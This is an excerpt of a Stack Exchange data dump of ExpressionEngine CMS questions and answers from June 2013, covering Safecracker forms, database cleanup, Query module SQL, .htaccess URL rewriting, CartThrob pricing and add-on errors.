  <row Id="11026" PostTypeId="1" CreationDate="2013-06-05T16:17:39.050" Score="1" ViewCount="154" Body="&lt;p&gt;I'm trying to use Safecracker for a job application form so that all applications will be registered as entries in a channel called job_applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:safecracker channel=&quot;job_applications&quot; return=&quot;/inside_town_hall/administration/human_resources/career_opportunities&quot;&#xA;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[some code...]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{/exp:safecracker}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yet when I try to view the form, I just get a &quot;No channel was specified&quot; error message... I double-checked (more like fifty-times-checked) the spelling of the channel and all. I even tried another of my channels as a test and none worked.&#xA;I also tried to replace the 350-or-so lines of code inside the tag pair by a basic &quot;input name=&quot;title&quot; type=&quot;text&quot;&quot; and &quot;input type=&quot;submit&quot; value=&quot;Submit&quot;&quot; and it still doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel like this is probably some really stupid error but I can't think of anything. Is there some setting I have to change to make it accept my channels or something? I'm not really used to ExpressionEngine and SafeCracker so I might be forgetting something basic.&lt;/p&gt;&#xA;" OwnerUserId="1541" LastEditorUserId="1541" LastEditDate="2013-06-05T16:23:20.103" LastActivityDate="2013-06-12T14:02:25.397" Title="Safecracker - No channel was specified" Tags="|safecracker|channel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11027" PostTypeId="1" AcceptedAnswerId="11089" CreationDate="2013-06-05T16:27:31.280" Score="2" ViewCount="643" Body="&lt;p&gt;Before I troubleshoot what caused the problem in the first place (entry made using safecracker form), I'd like to know how to remove the bad data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE Version v2.5.2 - Build Date: 20120606*&lt;br&gt;&#xA;Development Environment: MAMP&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Yes, yes, I know. I was soon going to update it to 2.5.5; Now troubleshooting this issue is at top of list.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Channel Entry #62, and how it manifests:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In the database&lt;/strong&gt;:&lt;br&gt;&#xA;entry_id 62 &lt;strong&gt;does exist&lt;/strong&gt; in the &lt;code&gt;exp_channel_titles&lt;/code&gt; table of the database.&lt;br&gt;&#xA;entry_id 62 &lt;strong&gt;does not exist&lt;/strong&gt; in &lt;code&gt;exp_channel_data&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;exp_channel_data&lt;/code&gt; it goes from 61 to 63. Oh my.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In the control panel&lt;/strong&gt;:&lt;br&gt;&#xA;The entry ID, title, author, date, status all appear in table of entries. Upon clicking the title link to edit entry, this message results: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;You have tried to access a channel that does not exist.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;From the template&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;On an &lt;strong&gt;index page template&lt;/strong&gt; that lists multiple entries in this channel, &#xA;template calls for &lt;code&gt;{title}&lt;/code&gt; (and &lt;code&gt;url_title&lt;/code&gt; in link to individual page)&#xA;&lt;code&gt;{author}&lt;/code&gt; And a custom field for a short description: &lt;code&gt;{showcase_txt_short_description}&lt;/code&gt;&lt;br&gt;&#xA;The &lt;strong&gt;rendered index page&lt;/strong&gt; displays title, author name, but displays {showcase_txt_short_description} as is.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Template for individual entry page has more custom fields in addition to title and author. Similar to rendered index page, the rendered individual entry page displays the title, but passes through {unrendered_custom_fields_enclosed_with_curly_braces}&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When I first loaded up that individual page, I got a number of errors. Alas (?) I cannot describe them for you because they magically disappeared when I refreshed the page just now while preparing to compose this question.&lt;br&gt;&#xA;Errors were: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;3 php warnings&lt;/li&gt;&#xA;&lt;li&gt;1 error 1064 with a SQL error and details of SQL query, that ended up referencing ft.matrix (yes, there's a matrix field in this particular channel).  &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Changes I have made since discovering this error&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Between the time I first encountered this error and now, I updated addons for the site. Among the addons, I updated to the latest version of Matrix, and also pt fieldpack (source:github)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing I did, in the DB: made minor manual correction to table for entry_id 62 in  exp_channel_titles. Where versioning_enabled, it was set to n, (whereas channel preferences for this channel is y), so I changed it to y. (no, that didn't correct error)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the php warnings and SQL errors have gone away, but I have something bad in my database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now that you know a ridiculous amount of detail, my question&lt;/strong&gt;: What is the best way to get rid of the bad entry #62. Should I just remove the row that contains entry_id 62 from the exp_channel_titles table, or are there other places I should go in order to prune this bad entry out and start again to see what caused it?&lt;/p&gt;&#xA;" OwnerUserId="143" LastActivityDate="2013-06-07T09:19:40.027" Title="What steps do I need to take to remove borked entry from database (channel_titles: yes, channel_data: no)" Tags="|database|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11028" PostTypeId="2" ParentId="11011" CreationDate="2013-06-05T16:43:34.413" Score="3" Body="&lt;p&gt;I remember running into this and the problem for me was running Synchronize ( Content &gt; Files &gt; File Upload Preferences ) for the upload destination. You also have to have previously uploaded the images yourself via ftp, as DataGrab doesn't do that. Here's a good rundown from the developer on images from a &lt;a href=&quot;http://brandnewbox.co.uk/forums/viewthread/724/&quot; rel=&quot;nofollow&quot;&gt;forum thread&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I am currently writing some better documentation on how to import&#xA;  images, but in the meantime, this is the best way to do it:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;1) DataGrab won’t actually copy the images to the new server - you’ll&#xA;  have to FTP them to a valid File Upload directory.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;When you have copied the files to the correct place, you’ll need to&#xA;  synchronise the folder from the Control Panels Content &gt; Files &gt; File&#xA;  Upload Preferences page.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;2) The images will need in the correct format in the CSV/XML file.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This format is {filedir_1}your_image_name.jpg&#xA;  where the 1 is the id of the upload folder you have copied the files&#xA;  to. You can usually do this with a search and replace in the file.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-06-05T16:43:34.413" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11029" PostTypeId="1" CreationDate="2013-06-05T16:54:15.227" Score="1" ViewCount="140" Body="&lt;p&gt;I'm using &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.6.1 &lt;/li&gt;&#xA;&lt;li&gt;Assets 2.1.3 &lt;/li&gt;&#xA;&lt;li&gt;BetterWorkflow 1.6.2.5 &lt;/li&gt;&#xA;&lt;li&gt;Matrix 2.5.5&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm working with the BWF team too, but since their developer is out for the week, they recommended I also check here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had no problem publishing entries so far, but when I activate Better Workflow and hit the Publish button, I get the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined index: entry_id&#xA;&#xA;Filename: assets/ft.assets.php&#xA;&#xA;Line Number: 799&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: Cannot modify header information - headers already sent by (output started at /export/vol2/httpd/htdocs/research/ee/system/codeigniter/system/core/Exceptions.php:170)&#xA;&#xA;Filename: libraries/Functions.php&#xA;&#xA;Line Number: 809&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: Cannot modify header information - headers already sent by (output started at /export/vol2/httpd/htdocs/research/ee/system/codeigniter/system/core/Exceptions.php:170)&#xA;&#xA;Filename: libraries/Functions.php&#xA;&#xA;Line Number: 414&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1616" LastActivityDate="2013-06-05T16:54:15.227" Title="Assets throwing PHP error with BetterWorkflow" Tags="|matrix|assets|better-workflow|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11030" PostTypeId="2" ParentId="10971" CreationDate="2013-06-05T17:12:43.153" Score="1" Body="&lt;p&gt;This is an issue with Channel Polls and ExpressionEngine 2.6.1. I have replied to your support ticket and we will get a new version out asap with support for 2.6.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brad&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2013-06-05T17:12:43.153" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11031" PostTypeId="1" AcceptedAnswerId="11032" CreationDate="2013-06-05T17:19:29.787" Score="0" ViewCount="131" Body="&lt;p&gt;I am creating a summary page that shows the number of members in each member group. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the following but it only displays 1 as the result and there are 25 members in this group:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT count(*) as active_members from exp_members where group_id=9 &quot;}&#xA;    {count}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the correct syntax for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-06-05T17:54:46.630" Title="How do I show how many members are in a member group?" Tags="|query|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11032" PostTypeId="2" ParentId="11031" CreationDate="2013-06-05T17:40:34.917" Score="2" Body="&lt;p&gt;You have a conflict of names of variables. &quot;count&quot; is a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/reserved_words.html#reserved-for-fields&quot; rel=&quot;nofollow&quot;&gt;reserved name&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On all modules of EECMS, the current item number of a loop is parsed on the variable {count}, starting on 1. If you code a query that returns, let's say, 5 rows, your result would be &quot;12345&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your query returns just one row. The loop will be executed once and returns &quot;1&quot;. Of course, you just need one row. You are already using another name. So use it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT count(*) as active_members from exp_members where group_id=9 &quot;}&#xA;    {active_members}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-06-05T17:54:46.630" LastActivityDate="2013-06-05T17:54:46.630" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11033" PostTypeId="2" ParentId="92" CreationDate="2013-06-05T19:52:21.457" Score="0" Body="&lt;p&gt;&lt;strong&gt;This is resolved in EE 2.6+&lt;/strong&gt; by upping the minimum PHP version so they could make use of native stuff for date/time as well as having reintroduced the &lt;code&gt;honor_entry_dst&lt;/code&gt; setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For EE 2.6+&lt;/strong&gt; See: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/10919/in-ee-2-6-how-do-we-set-different-localization-timezone-site-wide-than-the-serve&quot;&gt;In EE 2.6 how do we set different localization/timezone site-wide than the server's timezone?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Prior to EE 2.6&lt;/strong&gt; there is one [commercial] fieldtype add-on I know of that seems to either resolve or ignore EE's timing issues altogether and that is &lt;a href=&quot;http://devot-ee.com/add-ons/low-events&quot; rel=&quot;nofollow noreferrer&quot;&gt;Low Events&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-06-05T19:52:21.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11034" PostTypeId="1" AcceptedAnswerId="11348" CreationDate="2013-06-05T19:55:33.323" Score="0" ViewCount="284" Body="&lt;p&gt;Using the parents() method of Playa, is it possible to get the name or ID of the field in the parent that holds the relationship?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parents entry_id=&quot;1&quot; channel=&quot;my_channel&quot;}&#xA;    parent field name or id = {????}&#xA;{/exp:playa:parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="506" LastEditorUserId="506" LastEditDate="2013-06-21T13:56:19.480" LastActivityDate="2013-06-21T19:14:25.313" Title="Getting the ID or name of a field on a parent entry that holds a Playa relationship" Tags="|playa|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11035" PostTypeId="2" ParentId="10971" CreationDate="2013-06-05T20:07:35.463" Score="0" Body="&lt;p&gt;This has been fixed in the latest Channel Polls release.&lt;/p&gt;&#xA;" OwnerUserId="934" LastActivityDate="2013-06-05T20:07:35.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11037" PostTypeId="2" ParentId="11006" CreationDate="2013-06-05T21:11:30.827" Score="4" Body="&lt;p&gt;My solution was to add the product form button on the /donate page inside the {exp:store:checkout} {if no_items} tag, and using jQuery to submit the form when the page loads. This ensures there is always a product in the cart. Then, the user completes the single page checkout form fields with their desired donation amount (which updates the quantity of the &quot;Donation&quot; product), billing info, etc.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout}&#xA;{if no_items}&#xA;&amp;lt;!-- Form button to add product id #20 to cart --&amp;gt;&#xA;{exp:channel:entries entry_id=&quot;20&quot; limit=&quot;1&quot;}&#xA;    {exp:store:product entry_id=&quot;20&quot; form_class=&quot;form-donate&quot; return=&quot;donate&quot;}&#xA;        &amp;lt;button type=&quot;submit&quot; name=&quot;submit-now&quot; id=&quot;submit-now&quot; class=&quot;btn&quot;&amp;gt;{title}&amp;lt;/button&amp;gt;&#xA;    {/exp:store:product}&#xA;{/exp:channel:entries}&#xA;{/if}&#xA;...&#xA;Billing, CC, etc&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The jQuery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Auto submit .form-donate to add product id #20 to cart --&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;$(function(){&#xA;    $('.form-donate').submit();&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Interested in any other ideas or solutions.&lt;/p&gt;&#xA;" OwnerUserId="1610" LastEditorUserId="1610" LastEditDate="2013-07-07T18:56:03.673" LastActivityDate="2013-07-07T18:56:03.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11038" PostTypeId="2" ParentId="1389" CreationDate="2013-06-05T21:21:40.513" Score="1" Body="&lt;p&gt;Personally I would look at creating your own option. I have done it in the past with just custom fields and building out the product links like they have in the FoxyCart docs or you could build a module if you are comfortable with PHP. I was in the &lt;a href=&quot;http://acmecart.com&quot; rel=&quot;nofollow&quot;&gt;acmecart.com&lt;/a&gt; (the new modules name from HCC) beta since late 2010 and have not received an updated build in at least a year (I might not be on their list anymore for new beta releases but I just dont know)&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-06-05T21:21:40.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11039" PostTypeId="1" CreationDate="2013-06-05T21:30:00.787" Score="1" ViewCount="46" Body="&lt;p&gt;Has anyone ever tried using P&amp;amp;T Assets as a field with Carthrob? More specifically, I'm looking to sell photos that are located on my Amazon S3 account. Do you think this will work?&lt;/p&gt;&#xA;" OwnerUserId="1128" LastActivityDate="2013-07-06T02:50:40.950" Title="P&amp;T Assets + Carthrob" Tags="|assets|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11040" PostTypeId="1" CreationDate="2013-06-05T22:02:35.820" Score="0" ViewCount="40" Body="&lt;p&gt;I'm using CarthThrob and a modify by quantity price field (CartThrob Price - Quantity). What it does:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1-3 = $5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3-9999 = $4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It lets you set a lower price as you buy more. Nice feature, but the people entering the data are adding a $ before the prices. You need to enter just the digits: 5 not $5. If the $ is added it breaks the order total calculations. All kinds of weird stuff happens, mainly the effected products are free. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I prevent users from entering the $ value? The setting on the field don't let me choose numeric and the CT docs don't mention this little (Big) problem. &lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2013-06-06T23:09:46.667" Title="Prevent content editors from adding &quot;$&quot; to field" Tags="|cartthrob|custom-fields|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11041" PostTypeId="1" CreationDate="2013-06-05T22:12:35.543" Score="1" ViewCount="410" Body="&lt;p&gt;No matter what I try, I can't seem to successfully remove index.php. I'm wondering if the host is lacking some setting in the server environment... otherwise the site hosts just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I've done:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- Made an .htaccess file containing nothing but the supported method&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;    RewriteEngine On&#xA;&#xA;    # Removes index.php from ExpressionEngine URLs&#xA;    RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;-- Cleared the &quot;Name of your site's index page&quot; field in General Configuration&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- In system/expressionengine/config/config.php, I've tried setting the $config['uri_protocol'] to each of the alternate configurations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running EE 2.6.1. Can't seem to figure out what's going on, at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing I &lt;em&gt;can&lt;/em&gt; think of is that I'm running from an IP address type URL, e.g. &lt;a href=&quot;http://xx.xx.xxx.xx/~sitename&quot; rel=&quot;nofollow&quot;&gt;http://xx.xx.xxx.xx/~sitename&lt;/a&gt;, but I don't see why that would affect anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to ALL who take a stab at the answer - this is driving me a little bonkers.&lt;/p&gt;&#xA;" OwnerUserId="330" LastActivityDate="2013-06-10T00:59:09.613" Title="Nothing seems to work to successfully remove index.php" Tags="|htaccess|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="11042" PostTypeId="2" ParentId="11040" CreationDate="2013-06-05T22:16:45.417" Score="2" Body="&lt;p&gt;If your site is in HTML5, try using patterns. This answer assumes you have template-level control over the form you provide people for the price, as in Safecracker (but you'll have to explicitly code your forms, and NOT use the {display_field} inside the custom_fields loop.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; placeholder=&quot;&quot; name=&quot;&quot; pattern=&quot;[0-9]* value=&quot;{cf_name}&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or perhaps&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;input type=&quot;number&quot; etc=&quot;etc&quot; pattern=&quot;[0-9]*&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="143" LastActivityDate="2013-06-05T22:16:45.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11044" PostTypeId="1" AcceptedAnswerId="11046" CreationDate="2013-06-05T23:16:30.360" Score="1" ViewCount="1037" Body="&lt;p&gt;Is there a way to only show distinct entries using the channel entries tag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I want to create a list of channel entries that have a city field. The list would show the city name, but there are several entries that would have the same city name. If I use the channel entries tag to display the cities, their would be duplicates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I avoid the duplicates?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help. &lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2013-06-06T10:55:30.203" Title="Only show distinct entries" Tags="|channel-entries|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11046" PostTypeId="2" ParentId="11044" CreationDate="2013-06-06T02:12:46.260" Score="6" Body="&lt;p&gt;If you would like to avoid the duplicates while showing only cities, you can use Query module to populate the cities. Like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT DISTINCT field_id_xxx AS city_name FROM exp_channel_data WHERE channel_id=x&quot;}&#xA;&#xA;{city_name}&#xA;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You need to replace field_id_xxx with correct custom field id.&lt;/p&gt;&#xA;" OwnerUserId="872" LastEditorUserId="872" LastEditDate="2013-06-06T10:55:30.203" LastActivityDate="2013-06-06T10:55:30.203" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11047" PostTypeId="2" ParentId="11039" CreationDate="2013-06-06T02:15:11.743" Score="1" Body="&lt;p&gt;I think you should be able to do this using the &lt;code&gt;{exp:cartthrob:is_purchased_item}&lt;/code&gt; tag.&lt;br&gt;&#xA;&lt;a href=&quot;https://cartthrob.com/docs/tags_detail/is_purchased_item/index.html&quot; rel=&quot;nofollow&quot;&gt;https://cartthrob.com/docs/tags_detail/is_purchased_item/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could just check whether or not the logged in member has purchased the product, and conditionally display the assets.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-06-06T02:15:11.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11048" PostTypeId="2" ParentId="10967" CreationDate="2013-06-06T07:32:29.120" Score="2" Body="&lt;p&gt;I've created a bug report at Ellislab and Robin Sowell replied with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;&lt;em&gt;And yep, I’ll pass along your request re: turning it off.&lt;/em&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So maybe the feature will be included in 2.6.2&lt;/p&gt;&#xA;" OwnerUserId="171" LastActivityDate="2013-06-06T07:32:29.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11049" PostTypeId="2" ParentId="10967" CreationDate="2013-06-06T09:14:43.193" Score="2" Body="&lt;p&gt;Can you try by setting within config file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['log_threshold'] = 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sorry, I didn't try it so not sure if would work for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;===&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;log_threshold&quot; setting is detailed here in the docs:&lt;br&gt;&#xA;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/general/system_configuration_overrides.html#log-threshold&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/general/system_configuration_overrides.html#log-threshold&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="872" LastEditorUserId="28" LastEditDate="2014-09-24T17:06:26.847" LastActivityDate="2014-09-24T17:06:26.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11050" PostTypeId="2" ParentId="10699" CreationDate="2013-06-06T09:18:13.787" Score="0" Body="&lt;p&gt;Thanks Derek for your response. I had gone down that avenue and the price modifiers was one issue. I also have ad odd set up as there are four channels for different products. So depending on the channel, I have to run a {if} on the pricing. I ran into a parse order problem with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found that it IS actually something to do with the session being set. Oddly, if I am logged out, the product adds to cart as 0. If I then log in, and take a look at the cart, the price is set correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am revisiting this now to see how to fix it. Its an odd one!&lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2013-06-06T09:18:13.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11051" PostTypeId="2" ParentId="11020" CreationDate="2013-06-06T09:55:02.633" Score="1" Body="&lt;p&gt;OK - solved. I caused the problem myself by changing the type of a field that appeared earlier in the same group. I'd changed it from Rich Text to Wygwam. The corruption or whatever was easier to see when I worked in a different version of the browser. Field titles and descriptions of all fields after that field were showing in red, with an underlined rollover state.. Very weird.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As expected, changing that field type back to Rich Text wasn't enough... so I deleted and recreated it. My original Matrix field with Playa and other fields in the columns was just fine after that. &lt;/p&gt;&#xA;" OwnerUserId="1614" LastActivityDate="2013-06-06T09:55:02.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11052" PostTypeId="1" CreationDate="2013-06-06T10:19:04.843" Score="1" ViewCount="297" Body="&lt;p&gt;I am using EE v2.5.5 and the control panel doesn't work properly in IE 9 and 10. The issue seems to be that EE doesn't know you are logged in when a script is requested and so instead of returning the JS you just get the login screen instead. SO the URL below for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.showsec.co.uk/admin.php?S=24384227da408225ee16a159edfba4966ac36622&amp;amp;D=cp&amp;amp;C=javascript&amp;amp;M=load&amp;amp;file=css&amp;amp;theme=default&amp;amp;v=1369159495&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just returns the login page even though I am logged in&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact if I login to the control panel in IE 9 or 10 and then open a new tab and go to the control panel URL I just get the login screen again. The browser has forgotten I am logged in already!&lt;/p&gt;&#xA;" OwnerUserId="1124" LastActivityDate="2013-06-20T21:55:23.787" Title="Control panel not working in IE 9 &amp; 10" Tags="|control-panel|javascript|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11053" PostTypeId="2" ParentId="11052" CreationDate="2013-06-06T10:33:22.223" Score="1" Body="&lt;p&gt;The control panel of EE 2.5.5 certainly works with IE 9. I have a client using it right now. This would indicate your problem lies elsewhere. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have peculiar settings for handling cookies in your browser?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try switching your control panel session type in Admin-&gt;Security and Sessions. Also check whether you have anything set up in Cookie Settings under the same menu.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-06-06T10:33:22.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11054" PostTypeId="2" ParentId="11044" CreationDate="2013-06-06T10:53:35.933" Score="0" Body="&lt;p&gt;As Bhashkar says, you can use the query module to do this. However to avoid showing duplicates you will need to add a GROUP clause;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT field_id_xxx AS city_name FROM exp_channel_data WHERE channel_id=x GROUP BY field_id_xxx&quot;}&#xA;&#xA;{city_name}&#xA;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will ensure that each city name is shown only once&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-06-06T10:53:35.933" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
